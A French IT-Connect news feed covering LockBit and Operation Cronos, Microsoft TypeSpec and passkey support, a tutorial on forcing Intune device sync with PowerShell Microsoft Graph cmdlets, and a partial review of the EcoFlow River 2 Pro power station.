Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
Aujourd’hui — 6 mai 2024IT-Connect

Opération Cronos : les autorités sur le point de révéler l’identité des membres de LockBit ?

6 mai 2024 à 11:43

Il y a un véritable match entre les autorités et les cybercriminels de LockBit ! Alors le groupe de ransomware a relancé ses activités malveillantes ces dernières semaines, leur site a été remis en ligne avec un message intrigant par les membres de l'opération Cronos ! Faisons le point.

Publication des données de l'Hôpital Simone Veil de Cannes

Il y a quelques jours, nous apprenions que les cybercriminels de LockBit étaient à l'origine de la cyberattaque ayant impactée l'Hôpital Simone Veil de Cannes. Désormais, dans la soirée du 1er mai 2024, les cybercriminels ont mis en ligne les données du centre hospitalier, ce dernier n'ayant pas payé la rançon.

Ce leak contient 61 Go de données, dont des informations sensibles et personnelles, des cartes d'identité, des RIB et des bulletins de salaire. La direction de l'Hôpital Simone Veil a confirmé qu'il s'agissait bien des données du centre.

La suite de l'opération Cronos

Mais, ces dernières heures, il y a eu un nouveau rebondissement dans l’affaire Lockbit : la suite de l'opération Cronos. Souvenez-vous, en février dernier, une opération internationale, surnommée Opération Cronos, a été menée par les forces de l'ordre et organismes de 11 pays. D'ailleurs, la France a participé par l'intermédiaire de la Gendarmerie Nationale, tandis qu'il y a également eu une participation du FBI, l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.

Les autorités étaient parvenues à mettre à l'arrêt un total de 34 serveurs de LockBit et récupérer des données cruciales. Ceci avait permis la création d'un outil de déchiffrement pour permettre aux victimes de récupérer leurs données sans payer la rançon.

Le site vitrine de LockBit avait été remplacé par une page mise en ligne par les forces de l'ordre suite à cette opération. Depuis quelques heures, cette page est de retour, ce qui pourrait correspondre à la suite de l'opération Cronos.

Source : cybernews.com

Les autorités ont repris le principe du compte à rebours utilisé par les pirates pour indiquer que le 7 mai 2024 à 14:00 UTC, ils dévoileront l'identité du chef LockBitSupps et des autres membres de LockBit. Autrement dit, nous aurions enfin la réponse à cette question à 10 millions de dollars : qui se cache derrière le pseudo LockBitSupps ?

Pour le moment, tout cela est à prendre avec précautions puisque les forces de l'ordre n'ont pas communiqué sur le sujet. Les prochaines heures nous permettront surement d'en savoir plus... Peut-être d'ailleurs par l'intermédiaire du compte VX-underground sur X. D'après ce compte, un membre de LockBit a indiqué que tout cela était des mensonges... Les autorités ont-elles de nouvelles informations ou cherchent-elles à déstabiliser le groupe LockBit en lui mettant la pression ? À suivre...

Source

The post Opération Cronos : les autorités sur le point de révéler l’identité des membres de LockBit ? first appeared on IT-Connect.

TypeSpec : le nouveau langage de Microsoft pour le développement d’API

6 mai 2024 à 08:53

Microsoft a dévoilé TypeSpec, un nouveau langage de programmation pour le développement d'API ! Il offre une approche moderne et devrait permettre aux développeurs de créer une API plus efficacement. Faisons le point.

Pour mettre au point TypeSpec, Microsoft s'est inspiré de C# ainsi que de son son langage de programmation open source TypeScript. L'objectif étant de proposer aux développeurs un langage moderne pour la création d'API, à l'heure où elles sont de plus en plus présentes et adoptées par les entreprises.

TypeSpec prend en charge les différents formats de sérialisation, dont le YAML. Ils sont familiers à de nombreux développeurs et professionnels de l'informatique, ce qui facilitera la compréhension des fichiers de configuration. De plus, la compilation de l'API pourra être effectuée en respectant plusieurs normes : OpenAPI 3.0, JSON Schema 2020-12 et Protobuf.

Microsoft utilise déjà le langage TypeSpec en interne, notamment pour certains services Azure, mais aussi pour le développement de Microsoft Graph. "En exploitant la puissance de TypeSpec, l'équipe Microsoft Graph a révolutionné le développement d'API au sein de Microsoft. Cette collaboration a permis d'améliorer la productivité et de simplifier la personnalisation, soulignant ainsi le potentiel de TypeSpec.", peut-on lire sur le blog officiel de TypeSpec.

La firme de Redmond invite les développeurs à rejoindre la communauté TypeSpec, notamment pour qu'il y ait de l'entraide, mais aussi pour remonter d'éventuels bugs et pouvoir faire des feedbacks à Microsoft. "Vos commentaires sont précieux pour façonner l'avenir de TypeSpec", précise l'entreprise américaine.

Comment utiliser TypeSpec ?

Ce nouveau langage est pris en charge par deux applications de Microsoft : l'éditeur de code Visual Studio Code et l'IDE Visual Studio. Ceci est utile pour bénéficier de certaines fonctions dont la coloration syntaxique et l'autocomplétion.

Pour commencer à jouer avec TypeSpec, vous pouvez accéder au site officiel typespec.io, car il regroupe à la fois la documentation et un playground pour commencer à manipuler ce langage.

Qu'en pensez-vous ?

The post TypeSpec : le nouveau langage de Microsoft pour le développement d’API first appeared on IT-Connect.

Microsoft ajoute la prise en charge des passkeys pour les comptes personnels Microsoft et pour Entra ID

6 mai 2024 à 06:00

Les passkeys, ou clés d'accès, sont désormais prises en charge par Microsoft pour s'authentifier à son compte personnel Microsoft. De plus, la prise en charge des passkeys a été introduite au service de gestion des identités Entra ID. Faisons le point.

Au fil des mois, de plus en plus d'éditeurs et services ajoutent la prise en charge des passkeys pour l'authentification à son compte. Nous pouvons citer Google, Amazon, Apple, Proton, ou encore WhatsApp. Microsoft était déjà sur le coup, et à l'occasion de la Journée mondiale des mots de passe, l'entreprise américaine a annoncé avoir étendu la prise en charge des passkeys.

De quoi mettre de côté le traditionnel mot de passe associé à l'authentification multifacteur. Cette méthode d'authentification dite "passwordless" s'appuie sur des clés générées en local sur l'appareil. Ensuite, l'authentification s'effectue à l'aide d'un code PIN, d'une clé matérielle, du capteur d'empreinte biométrique ou de la reconnaissance faciale.

Une fois configurée sur votre compte Microsoft, cette méthode d'authentification pourra être utilisée pour vous connecter aux différents services de Microsoft, dont Outlook, OneDrive, Xbox Live, ou encore Copilot. Précédemment, la firme de Redmond avait ajouté la prise en charge des passkeys à son système d'exploitation Windows 11, afin que cela puisse être utilisé sur les sites web et services qui le prennent en charge.

Comment configurer une passkey sur son compte Microsoft ?

Rendez-vous sur cette page pour configurer une passkey pour vous connecter à votre compte Microsoft. En complément, vous pouvez consulter cette page du site de Microsoft pour obtenir de l'aide.

Une fois que c'est en place, vous pouvez vous authentifier grâce à cette nouvelle d'authentification comme le montre les images ci-dessous :

Source : Microsoft

En principe, une clé d'accès devrait être créée sur un appareil et ne pas être partagée d'un appareil à un autre, mais Microsoft propose la synchronisation des passkeys pour le côté pratique : "Les passkeys peuvent également être synchronisés entre vos appareils. Ainsi, si vous perdez ou mettez à jour votre appareil, vos passkeys seront prêts et vous attendront lorsque vous configurerez votre nouvel appareil.", précise Microsoft.

Par ailleurs, la documentation de Microsoft précise que les systèmes suivants sont pris en charge :

  • Windows 10 et versions ultérieures.
  • macOS Ventura et versions ultérieures.
  • ChromeOS 109 et versions ultérieures.
  • iOS 16 et versions ultérieures.
  • Android 9 et versions ultérieures.

Il est également précisé que les clés de sécurité matérielles qui prennent en charge le protocole FIDO2 sont supportées.

La prise en charge des passkeys dans Microsoft Entra ID

Pour les utilisateurs professionnels, Microsoft a ajouté la prise en charge des passkeys à son service Entra ID (Azure AD) en s'appuyant sur son application Microsoft Authenticator, disponible sur Android et iOS. Là encore, Microsoft propose d'utiliser des passkeys synchronisées ou liées à l'appareil.

Vous pouvez en savoir plus en lisant cet article de Microsoft, ainsi que cette page de la documentation officielle. Pour le moment, cette nouveauté est disponible en préversion publique.

Source

The post Microsoft ajoute la prise en charge des passkeys pour les comptes personnels Microsoft et pour Entra ID first appeared on IT-Connect.

Intune – Comment forcer la synchronisation d’un ordinateur Windows ?

5 mai 2024 à 18:00

I. Présentation

Dans ce tutoriel, nous allons apprendre à synchroniser manuellement un appareil Windows inscrit dans Microsoft Intune. Cette manipulation peut s'avérer utile si vous venez de créer une nouvelle stratégie sur Intune et que vous souhaitez vérifier son bon fonctionnement, sans avoir à attendre. Ceci peut être pratique également en phase de dépannage sur un appareil Windows (stratégie non redescendue, stratégie en erreur, etc.).

<iframe class="iframe_youtube" src="https://www.youtube.com/embed/PX7OiWHUX-w" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

Si vous avez l'habitude de travailler avec un Active Directory et les stratégies de groupe, vous recherchez surement un équivalent à la célèbre commande "gpupdate". À l'heure actuelle, cette commande n'existe pas pour Intune, à moins d'utiliser PowerShell mais cela implique de s'appuyer sur le module Microsoft Graph.

Dans cet article, nous allons étudier différentes possibilités, que ce soit depuis l'appareil à synchroniser en lui-même ou à partir du Centre d'administration Intune. Ceci nous donnera aussi l'occasion d'évoquer les cycles de synchronisation par défaut d'Intune, pour Windows et les autres OS pris en charge.

II. Les cycles de synchronisation Intune

Le cycle d'actualisation ou fréquence d'actualisation par défaut pour les appareils inscrits sur Intune, et peu importe le système d'exploitation, est de 8 heures. Cela signifie que lorsqu'une nouvelle stratégie est créée, elle peut mettre jusqu'à 8 heures à "redescendre" sur les appareils.

Voici un tableau récapitulatif :

PlateformeFréquence d'actualisation
Android, AOSPEnviron toutes les 8 heures
iOS/iPadOSEnviron toutes les 8 heures
macOSEnviron toutes les 8 heures
Windows 10/11Environ toutes les 8 heures
Windows 8.1Environ toutes les 8 heures

Néanmoins, lorsqu'un appareil vient de s'inscrire dans Intune, la fréquence d'actualisation est un peu différente. Il y aura des synchronisations rapprochées au départ, comme le montre le tableau ci-dessous.

PlateformeFréquence d'actualisation
Android, AOSPToutes les 3 minutes pendant 15 minutes, ensuite toutes les 15 minutes pendant 2 heures, et ensuite environ toutes les 8 heures.
iOS/iPadOSToutes les 15 minutes pendant 1 heure, et ensuite environ toutes les 8 heures.
macOSToutes les 15 minutes pendant 1 heure, et ensuite environ toutes les 8 heures.
Windows 10/11Toutes les 3 minutes pendant 15 minutes, ensuite toutes les 15 minutes pendant 2 heures, et ensuite environ toutes les 8 heures.
Windows 8.1Toutes les 3 minutes pendant 15 minutes, ensuite toutes les 15 minutes pendant 2 heures, et ensuite environ toutes les 8 heures.

Les informations présentées dans les tableaux ci-dessus sont issues de la documentation Microsoft :

Certaines actions impliquent une synchronisation "dès que possible", où Intune notifie l'appareil qu'il doit se synchroniser maintenant. Voici ce que l'on peut lire sur cette page de la documentation Microsoft : "Les appareils se connectent à Intune lorsqu'ils reçoivent une notification de connexion ou lors de la connexion programmée. Lorsque vous ciblez un appareil ou un utilisateur avec une action, Intune notifie immédiatement l'appareil pour qu'il s'enregistre et reçoive ces mises à jour. Par exemple, une notification est envoyée lorsqu'une action de verrouillage, de réinitialisation du code d'accès, d'application ou d'attribution de stratégie est exécutée."

De plus, il y a un cycle différent pour l'Intune Management Extension, utilisée notamment pour l'exécution des scripts PowerShell avec Intune et le déploiement des applications avec Intune, où le cycle de synchronisation est de 1 heure.

Par ailleurs, il n'est pas à exclure qu'il y ait quelques exceptions et des cycles d'actualisation différents sur certaines fonctionnalités spécifiques d'Intune. C'est le cas avec les stratégies d'App Protection comme l'explique cette page.

III. Synchroniser un appareil Windows

Nous allons nous intéresser à différentes façons de synchroniser un appareil Windows, que ce soit depuis l'appareil en lui-même, depuis le Centre d'administration Microsoft Intune ou à l'aide de PowerShell.

A. Synchroniser à partir des paramètres de Windows

La première méthode à connaître, et que nous avons déjà évoqué dans de précédents articles, consiste à utiliser l'interface de gestion des paramètres de Windows.

Ouvrez les "Paramètres" Windows, cliquez sur "Comptes" à gauche, puis sur "Accès Professionnel ou Scolaire". Cliquez sur la flèche (mise en évidence sur l'image ci-dessous), puis sur le bouton "Info".

Synchroniser paramètres Intune sur un PC Windows 11

Une nouvelle page apparaît. Sur celle-ci, vous devez cliquer sur le bouton "Synchroniser". Ceci va permettre de déclencher une synchronisation, et il ne vous reste plus qu'à patienter le temps qu'elle soit effectuée.

Prise en main Intune - Forcer synchronisation PC

B. Synchroniser à partir du Portail d'entreprise

Parmi les fonctionnalités de l'application "Portail d'entreprise" appelée également "Company Portal", il y a la possibilité de lancer une synchronisation sans passer par les paramètres du système Windows. Au sein de cette application, qui doit être au préalable installée sur l'appareil, cliquez sur le bouton des paramètres en bas à gauche (1) afin d'accéder au bouton nommé "Synchroniser" (2). Ceci est facilement accessible par un utilisateur lambda.

Une autre possibilité, c'est d'effectuer un clic droit sur "Portail d'entreprise" dans le menu Démarrer afin de cliquer sur le bouton "Synchroniser cet appareil". Le problème, c'est que cette entrée est visible seulement lorsque l'on effectue un clic droit à partir de la liste de toutes les applications (si l'application est épinglée au menu Démarrer et que l'on passe par ce raccourci, cela n'est pas proposé).

C. Synchroniser un appareil depuis le portail Intune

Désormais, nous allons basculer sur le Centre d'administration Intune puisqu'il intègre deux fonctionnalités permettant de lancer une synchronisation sur un ou plusieurs appareils.

Tout d'abord, quand vous accédez à la liste des "Appareils" et qu'ensuite, vous cliquez sur un appareil dans la liste, vous verrez apparaître un bouton nommé "Synchroniser" dans la "Vue d'ensemble". Il vous suffit de cliquer sur ce bouton.

Une fenêtre de confirmation apparaît, cliquez sur "Oui" et cela va envoyer un signal à la machine pour qu'elle se synchronise.

D. Synchroniser en masse des appareils depuis le portail Intune

Le Centre d'administration Intune vous offre aussi la possibilité d'effectuer des actions en masse sur une sélection d'appareils. La synchronisation fait partie des actions envisageables. Voici la marche à suivre :

1 - Cliquez sur "Appareils" dans le menu de gauche du portail Intune

2 - Cliquez sur "Tous les appareils".

3 - Cliquez sur le bouton "Actions d'appareil en bloc".

Un assistant va s'exécuter. Plusieurs options sont à configurer :

1 - Vous devez commencer par choisir le système d'exploitation, donc prenez "Windows".

2 - Sélectionnez le type d'appareil "Appareils physiques".

3 - Comme type d'action à exécuter, sélectionnez "Synchroniser".

Passez à l'étape suivante. Vous devrez alors cliquer sur "Sélectionner les appareils à inclure" afin de sélectionner un ou plusieurs appareils, dans la limite de 100 appareils (limite actuelle).

Ensuite, poursuivez jusqu'à la fin de la création de la tâche. Une notification au sein d'Intune vous indiquera si la tâche a été lancée, ou non.

E. Synchroniser un appareil avec PowerShell

Avec PowerShell, nous pouvons interagir avec les services Cloud de Microsoft tels qu'Azure et Intune par l'intermédiaire de Microsoft Graph. Il y a un ensemble de modules PowerShell disponibles et à utiliser en fonction des usages. Nous allons voir comment utiliser Microsoft Graph avec PowerShell pour synchroniser un appareil (puis plusieurs appareils).

Commencez par ouvrir une console PowerShell en tant qu'administrateur afin d'installer les modules Microsoft Graph. Vous pouvez tout installer, ou uniquement installer ceux dont vous avez besoin. Peut-être que vous avez déjà ces modules sur votre machine si vous avez l'habitude d'interagir avec les services Microsoft avec PowerShell.

Puis, exécutez la commande suivante pour basculer dans une console PowerShell avec la stratégie d'exécution "RemoteSigned", sinon vous allez obtenir des erreurs par la suite (si vous êtes en "Restricted", par exemple).

powershell.exe -ExecutionPolicy RemoteSigned

Installez tous les modules Microsoft Graph (alternative ci-dessous) :

Install-Module Microsoft.Graph

Si vous préférez limiter l'installation au strict minimum, installez ceci :

Install-Module -Name Microsoft.Graph.DeviceManagement
Install-Module -Name Microsoft.Graph.DeviceManagement.Actions

Vous devez savoir que :

  • Le module "Microsoft.Graph.DeviceManagement" contient le cmdlet "Get-MgDeviceManagementManagedDevice" que nous allons utiliser par la suite pour récupérer des informations sur les appareils.
  • Le module "Microsoft.Graph.DeviceManagement.Actions" contient le cmdlet "Sync-MgDeviceManagementManagedDevice" que nous allons utiliser pour déclencher une synchronisation sur un appareil.

Ensuite, connectez-vous à Microsoft Graph avec PowerShell. Nous pourrions établir une connexion globale, mais nous allons plutôt limiter notre connexion à certains scopes correspondants à nos besoins. Ceci pour des raisons de sécurité et pour limiter les droits de la session que nous allons initier.

Connect-MgGraph -Scope DeviceManagementManagedDevices.PrivilegedOperations.All, DeviceManagementManagedDevices.ReadWrite.All,DeviceManagementManagedDevices.Read.All

Suite à l'exécution de cette commande, vous êtes invités à vous authentifier auprès de votre tenant Microsoft 365. Puis, vous devez valider la demande d'autorisations émise par l'application Microsoft Graph.

PowerShell - Connect-MgGraph - Intune

Quand c'est fait, un message doit s'afficher dans la console : "Welcome to Microsoft Graph!". Il signifie en quelque sorte que vous pouvez commencer à interroger Intune à partir de PowerShell, car la connexion est établie.

Commençons par l'exécution d'une première commande qui va retourner la liste de tous vos appareils, aussi bien Windows que les autres plateformes, en retournant les propriétés "DeviceName" et "LastSyncDateTime" qui correspondent respectivement au nom de l'appareil et à sa date de dernière synchronisation. Le paramètre "-All" est important, car si vous avez beaucoup d'appareils, la liste sera incomplète s'il n'est pas précisé.

Get-MgDeviceManagementManagedDevice -All | Format-Table DeviceName, LastSyncDateTime

Voici un exemple :

PowerShell - Get-MgDeviceManagementManagedDevice - Exemple

Si vous souhaitez obtenir ces informations uniquement pour les appareils Windows, vous devez ajouter un filtre sur la propriété "OperatingSystem". Il y a deux façons d'effectuer ce filtre :

Get-MgDeviceManagementManagedDevice -Filter "Startswith(OperatingSystem,'Windows')" -All | Format-Table DeviceName, LastSyncDateTime
# ou
Get-MgDeviceManagementManagedDevice -All | Where{ $_.OperatingSystem -eq "Windows" } | Format-Table DeviceName, LastSyncDateTime

Vous devez stocker le résultat du cmdlet "Get-MgDeviceManagementManagedDevice" dans une variable afin de récupérer l'ID de l'appareil à cibler. Dans l'exemple ci-dessous, nous allons ajouter un filtre basé sur l'opérateur "Contains" pour rechercher la machine "PC-ITC-02". C'est sur cette machine que nous souhaitons forcer une synchronisation.

$Target = Get-MgDeviceManagementManagedDevice -Filter "contains(deviceName,'PC-ITC-02')"

Le résultat est stocké dans la variable "$Target". Elle contient un ensemble de propriétés au sujet de cet appareil, dont la propriété "Id" qui est requise par le cmdlet "Sync-MgDeviceManagementManagedDevice".

Ainsi, voici comment nous allons forcer la synchronisation sur cet appareil :

Sync-MgDeviceManagementManagedDevice -ManagedDeviceId $Target.Id

Cette commande ne retourne pas de résultat dans la console, mais l'ordre de synchronisation sera bien envoyé à l'appareil.

Intune - Synchroniser appareil avec PowerShell

F. Synchroniser plusieurs appareils avec PowerShell

Grâce à l'utilisation de PowerShell, nous allons pouvoir cibler plusieurs appareils et créer des filtres sur-mesure.

Voici un premier exemple pour obtenir la liste de tous les appareils dont le nom commence par "PC-ITC", ce qui permettra de cibler les appareils nommés "PC-ITC-01", "PC-ITC-02", etc.

Get-MgDeviceManagementManagedDevice -Filter "Startswith(deviceName,'PC-ITC')"

Voici un second exemple pour obtenir la liste de tous les appareils dont le nom contient la chaine de caractères "ITC" (peu importe si cela est au début, à la fin, au milieu, etc.).

Get-MgDeviceManagementManagedDevice -Filter "Contains(deviceName,'ITC')"

Ensuite, nous pouvons stocker le résultat dans une variable et parcourir la liste d'appareils avec une boucle ForEach dans le but de déclencher une synchronisation sur chaque appareil.

$Targets = Get-MgDeviceManagementManagedDevice -Filter "Startswith(deviceName,'PC-ITC')"

ForEach ($Device in $Targets) {
        try {
            Sync-MgDeviceManagementManagedDevice -ManagedDeviceId $Device.id -ErrorAction Stop
            Write-Host "$($device.DeviceName) - Synchronisation exécutée" -ForegroundColor Green
        }
        catch {
            Write-Host "$($device.DeviceName) - Echec de l'opération avec l'erreur : $($_.Exception.Message)" -ForegroundColor Red
        }
}

Pour chaque appareil, il y aura un retour dans la console pour indiquer si la commande "Sync-MgDeviceManagementManagedDevice" s'est exécutée correctement ou non. Attention, ceci n'indique pas réellement le résultat de la synchronisation.

PC-ITC-02 - Synchronisation exécutée

IV. Conclusion

Suite à la lecture de cet article, vous êtes capable de forcer la synchronisation d'un appareil Windows inscrit dans Intune pour qu'il récupère les dernières stratégies qui lui sont affectées !

Il y a deux autres méthodes que j'aurais pu indiquer et qui fonctionnent assez bien. La première, c'est le fait de redémarrer l'appareil Windows, mais ceci est un peu contraignant si un utilisateur travaille sur son ordinateur. La seconde, c'est le fait de redémarrer le service "IntuneManagementExtension" pour une actualisation liée aux applications et aux scripts.

The post Intune – Comment forcer la synchronisation d’un ordinateur Windows ? first appeared on IT-Connect.

Test EcoFlow River 2 Pro – Une station de recharge avec fonction UPS

4 mai 2024 à 07:00

I. Présentation

Vous êtes à la recherche d'une station de recharge et vous souhaitez avoir un avis complet sur l'EcoFlow River 2 Pro ? Alors, vous êtes au bon endroit !

Dans cet article, nous allons passer en revue les caractéristiques de l'appareil, ainsi que de son design et l'application officielle EcoFlow. Je vous donnerai aussi mes impressions pour une utilisation au quotidien.

C'est la première fois qu'un test d'un appareil de la marque EcoFlow est publié sur IT-Connect, donc je vais également vous présenter cette entreprise. Créée en 2017 par un groupe d'ingénieurs spécialisés dans les batteries, EcoFlow est une marque chinoise innovante qui propose des stations de charge portables, mais aussi des panneaux solaires et des solutions pour la maison.

"Notre vision est d’alimenter le monde de demain, aujourd’hui. Nous rêvons d’un monde réinventé, porté par l’aspiration d’un futur numérisé, respectueux de l’environnement et partagé par tous."

II. Caractéristiques EcoFlow River 2 Pro

La station de recharge nomade RIVER 2 Pro fait partie de la famille EcoFlow River, au sein de laquelle il y a plusieurs modèles. La famille de produits EcoFlow Delta complète cette gamme de produits. La RIVER 2 Pro est un modèle du milieu de gamme.

Commençons par nous intéresser aux caractéristiques techniques de cette station de recharge :

  • Capacité : 768 Wh
  • Type de batterie : LiFePO4
  • Puissance en sortie : 800 Watts, et jusqu'à 1600 Watts pendant une courte durée avec le mode X-Boost
  • Sortie courant continu : 12.6V, 10A/3A/3A, 126W Max
  • Sortie courant alternatif : onde sinusoïdale pure, 800 W au total (surtension 1600 W), 230 V ~ 50 Hz/60 Hz
  • Sortie USB-A: 5V, 2.4A, 12W Max
  • Temps de charge : 0 à 100 % en 70 minutes
  • Durée de vie : 80%+ capacité après 3 000 cycles, soit 10 ans d'utilisation quotidienne
  • Poids : 7.8 kg
  • Dimensions : 270 x 260 x 226mm
  • Garantie : 5 ans par le constructeur

En complément, l'application officielle EcoFlow permet de gérer cet appareil, et les autres de la marque, en temps réel. Ceci offre aussi des capacités de gestion à distance et de nombreuses fonctionnalités, comme nous le verrons dans la suite de cet article.

III. Package et design

Au sein de la boite sobrement estampillée "EcoFlow" et donnant un vague aperçu du produit, nous retrouvons la station de recharge parfaitement protégée et calée par un épais bloc de mousse moulé selon la forme de la RIVER. Elle est accompagnée par un guide de démarrage rapide, un câble pour la recharge sur le secteur, un câble pour la recharge sur allume-cigare et un câble de connexion "DC5521".

Sur la façade de la RIVER 2 Pro, nous retrouvons 3 modules distincts : un module avec les prises électriques AC pour la France, un module avec les ports USB et un dernier module avec l'alimentation 12V (allume-cigare et DC). Un bouton on/off permet d'activer ou désactiver l'alimentation des appareils connectés sur 2 des 3 modules d'alimentations. En complément, le bouton central (doré) sert à allumer ou éteindre totalement la RIVER 2 Pro. Il y a peu de boutons, donc le boitier n'est pas trop encombré et la prise en main s'annonce facile.

La façade intègre aussi un écran détaillé et lumineux qui est là pour fournir des informations utiles à l'utilisateur, notamment l'autonomie restante avec un pourcentage et une estimation en minutes ou heures. Le nombre de Watts en entrée et en sortie, est également précisé. Lorsque la batterie est elle-même en charge, l'écran indique le temps restant avant que la batterie soit complètement chargée. Comme nous le verrons par la suite, nous pouvons compter sur l'application mobile pour obtenir des informations supplémentaires.

Une imposante poignée est présente à l'arrière du boitier. Difficile de passer à côté ! Bien qu'elle soit utile pour faciliter le transport de la batterie et avoir une bonne prise en main, elle élargit l'arrière de la batterie, ce qui pourra s'avérer gênant pour la stocker. De plus, elle n'est pratique parce qu'à cause de son positionnement, le poids de la batterie est mal réparti.

Les différents ports et les prises ne sont pas protégés. Ils sont directement accessibles. Les finitions du boitier sont très bonnes et il me semble robuste.

Cette station de recharge est équipée d'un système de gestion de la batterie qui surveille en permanence la tension, le courant et la température. Ceci permet de protéger l'appareil contre la surtension, la surcharge, la surchauffe, le court-circuit, la basse température, la basse tension et la surintensité.

IV. Utilisation au quotidien

Désormais, nous allons évoquer l'utilisation au quotidien de cette station de recharge EcoFlow. Ce sera l'occasion de parler de l'application et de ses fonctionnalités.

A. L'application EcoFlow

L'application officielle s'appelle tout simplement "EcoFlow" et elle est accessible via le Google Play Store ou l'App Store selon votre appareil. Après avoir créé un compte, vous pouvez ajouter un nouvel appareil. À partir du moment où la RIVER 2 Pro est allumée et à proximité du smartphone, il n'y a rien à faire : la détection est immédiate et automatique. C'est appréciable.

La connexion entre votre smartphone équipé de l'application EcoFlow et la station de charge EcoFlow s'effectue au moyen du Wi-Fi ou du Bluetooth. D'ailleurs, le Bluetooth est utilisé pour la connexion initiale et lorsque vous n'êtes pas à votre domicile. Sinon, la RIVER peut se connecter à votre Wi-Fi. La connexion à votre réseau sans-fil doit être effectuée pendant le processus de mise en route afin que la RIVER puisse accéder à Internet et récupérer d'éventuelles mises à jour du firmware.

Au même titre que l'écran de la RIVER, l'application mobile fournie des informations utiles en temps réel, tout en étant plus précise. Pour chaque module d'alimentation, en entrée et en sortie, la RIVER indique la puissance actuelle en Watts. Le pourcentage de batterie est également précisé, tout comme une estimation en heures et la température de l'appareil. Nous pouvons aussi activer ou désactiver à distance les modules d'alimentation, comme avec les boutons physiques.

Au-delà de permettre de partager cet appareil avec un autre utilisateur ou de gérer les mises à jour du firmware, l'application EcoFlow intègre un ensemble de paramètres :

  • Limiter la vitesse de charge de la batterie
  • Configurer le courant sur l'entrée allume-cigare : 4A, 6A, 8A
  • Activer ou désactiver le mode X-Boost
  • Limiter la charge ou la décharge, pour empêcher la batterie de se charger complète, ou à l'inverse, de se décharger complètement. Par exemple, lorsqu'il reste 10% de batterie, elle peut arrêter de fournir de l'énergie.
  • Délai de mise en veille de l'appareil s'il est allumé, mais qu'il ne fournit pas d'énergie à un appareil.
  • Délai de mise en veille de l'écran
  • Délai de mise en veille de la sortie CA

L'application est bien pensée et elle offre un contrôle plus précis sur sa station de charge. Le fait que la batterie soit équipée du Bluetooth nous permet d'effectuer des réglages depuis n'importe où à condition d'être à proximité de la batterie. J'aimerais tout de même suggérer une amélioration à EcoFlow : l'envoi d'une notification sur le smartphone lorsque la batterie est faible, ou l'émission d'un bip sonore. Actuellement, il n'y a rien pour nous avertir donc si l'on ne surveille pas l'autonomie de la batterie, on peut se faire surprendre.

Remarque : la section "Automatisation" de l'application ne s'applique pas au modèle RIVER 2 Pro.

B. Tests en conditions réelles

Nous pouvons facilement imaginer de nombreux scénarios d'utilisation de cette station de recharge. Par exemple :

- En cas de coupure de courant à son domicile, que ce soit pour alimenter un ordinateur ou un autre appareil (le mode X-Boost sera particulièrement utile dans ce cas).

- En camping, en extérieur ou dans un van aménagé.

- Sur un chantier isolé où il n'y a pas d'électricité, cela peut permettre de connecter une lampe ou encore de recharger les batteries de votre outillage. L'alimentation de certains outils sera possible, mais la puissance en Watts peut être beaucoup trop élevé dans certains cas.

Désormais, nous allons évoquer son utilisation plus précisément.

  • Panne d'électricité : fournir l'alimentation à un ordinateur fixe avec deux écrans

Pour ce premier scénario, je vais utiliser la RIVER 2 Pro afin de connecter : un ordinateur fixe (avec carte graphique dédiée) et deux écrans Full HD de 27 pouces. Sur cet ordinateur, il y a également des périphériques alimentés par USB : un micro, une webcam et une paire haut-parleurs. L'objectif étant de voir combien de temps, il m'est possible de faire tourner mon setup avec cette RIVER 2 Pro, afin de pallier une éventuelle panne d'électricité. L'ordinateur étant mon outil de travail, il m'est important d'avoir cette solution de secours.

Au bout d'environ 13 minutes d'utilisation, la ventilation s'est activée pendant 2 minutes, avant de s'éteindre. Puis, elle s'est réactivée de façon cyclique et régulière afin de garder le contrôle sur la température de la batterie. Le ventilateur est plutôt bruyant.

Au bout d'une heure d'utilisation, il restait 77 % de batterie, puis au bout de 2 heures, il restait 59 % d'autonomie. Finalement, j'ai pu alimenter mon setup avec la RIVER 2 Pro pendant 4 h 33 avant que la batterie soit épuisée. Autrement dit, elle me permettrait de travailler un peu plus d'une demi-journée !

Ici, inutile d'activer le mode X-Boost, car la puissance totale consommée par les appareils connectés est bien inférieure à 800 watts. Néanmoins, en cas de besoin, nous pourrions activer le mode X-Boost pour que la batterie délivre jusqu'à 1 600 watts, pendant une durée plus courte.

  • Utilisation en tant qu'UPS

La RIVER 2 Pro peut être utilisée en tant qu'onduleur (UPS) en venant se positionner entre le réseau électrique et vos appareils, grâce à la fonction Pass-Through. Par exemple, la RIVER 2 Pro peut être connectée à la prise électrique murale et l'ordinateur et les deux écrans à la RIVER 2 Pro. Dans ce cas, le courant ne passe pas par l'onduleur, ni même la batterie, et s'il y a une coupure d'électricité, alors elle prendra le relais !

Il y a tout de même une interruption de 30 ms au moment de la bascule sur l'alimentation sur batterie. Bien que ce soit transparent pour nous, certains appareils n'apprécieront pas. Avec un onduleur digne de ce nom, cette interruption n'existe pas. Dans mon cas, c'est passé inaperçu pour mon ordinateur fixe et mes deux écrans : la bascule sur batterie a été transparente.

  • Recharger un ou plusieurs appareils

La RIVER 2 Pro peut-être utilisée pour recharger des appareils divers et variés, y compris votre smartphone, votre tablette et votre ordinateur portable. En fonction de la capacité de la batterie de vos appareils, celui-ci pourra être rechargé un certain nombre de fois. Pour ma part, j'ai pu recharger près de 7 fois intégralement mon PC Surface Pro 7 (tout en l'utilisant) avec une charge complète de RIVER 2 Pro.

C. La recharge de la RIVER

EcoFlow annonce 70 minutes pour recharger complètement la batterie (0 à 100 %). Avec la recharge sur secteur, c'est effectivement la durée nécessaire pour la recharger intégralement (entre 65 et 70 minutes, d'après mes tests).

C'est vraiment rapide et c'est un gros plus pour ce modèle, notamment si vous avez besoin de recharger la batterie à la dernière minute... Le bémol, c'est le bruit généré par la ventilation pendant que la batterie recharge : il est élevé et constant tout au long de la charge.

Remarque : en 20 minutes, vous pouvez récupérer 35 % d'autonomie !

Pour recharger les batteries de la station, vous avez 4 modes de charge différents répondant à plusieurs scénarios : la connecter au secteur avec le cordon d'alimentation, la connecter à une prise allume-cigare (en voiture, par exemple), la connecter en USB-C, ou lui associer un panneau solaire pour bénéficier de l'énergie solaire.

V. Conclusion

